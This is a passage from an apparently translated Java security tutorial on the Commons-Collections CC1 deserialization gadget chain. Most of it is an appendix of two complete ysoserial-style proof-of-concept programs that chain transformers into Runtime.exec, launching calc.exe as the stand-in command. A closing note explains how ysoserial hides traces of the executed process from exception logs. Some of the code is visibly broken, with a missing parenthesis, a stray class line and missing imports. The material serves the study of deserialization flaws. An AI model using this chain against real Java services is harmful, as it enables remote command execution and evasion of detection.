The carefully constructed Map no longer performs some operations, and naturally will not trigger a vulnerability. For the CC1 with LazyMap, the trigger requires calling any method on the carefully constructed Map, but here no method of the original Map is called, so it will naturally not trigger a vulnerability.
Appendix
code snippet
code1
// Dynamic proxy handler
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class LazyMapInvocationHandler implements InvocationHandler, Serializable {
protected Map map;
public LazyMapInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
map.get("test");
return null;
}
}
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class YsoCC1ChangeProxy {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = new LazyMapInvocationHandler(outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
code2
// readObject is the entry point
import java.io.IOException;
import java.io.Serializable;
import java.util.Map;
public class EntryPoint implements Serializable {
protected Map map;
public EntryPoint(Map map){
this.map = map;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println(map.values());
}
}
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class YsoCC1ChangeEntryPoint {}}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
EntryPoint entryPoint = new EntryPoint(proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(entryPoint);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
Some other operations of ysoserial
Our poc may pop up multiple computers during debugging, and after the map object is proxied by Proxy, executing the map's method anywhere will trigger the Payload pop-up calculator. Therefore, when debugging code locally, because the debugger will call some methods like toString below, it may inadvertently trigger the command. ysoserial has some handling for this, and it sets the Transformer array that executes the command to transformerChain at the end of the POC to avoid the program that generates the serialized stream locally from executing the command.
In the Transformer array of ysoserial, why would a ConstantTransformer(1) be added at the end? It might be to hide some information from the exception log. If there is no ConstantTransformer here, the command process object will be returned by LazyMap#get, causing us to see the features of ProcessImpl in the exception information.
References
phith0n Java Security Talk Series:
https://t.zsxq.com/BmIIAy3
https://t.zsxq.com/ZNZrJMZ
https://t.zsxq.com/FufUf2B

评论已关闭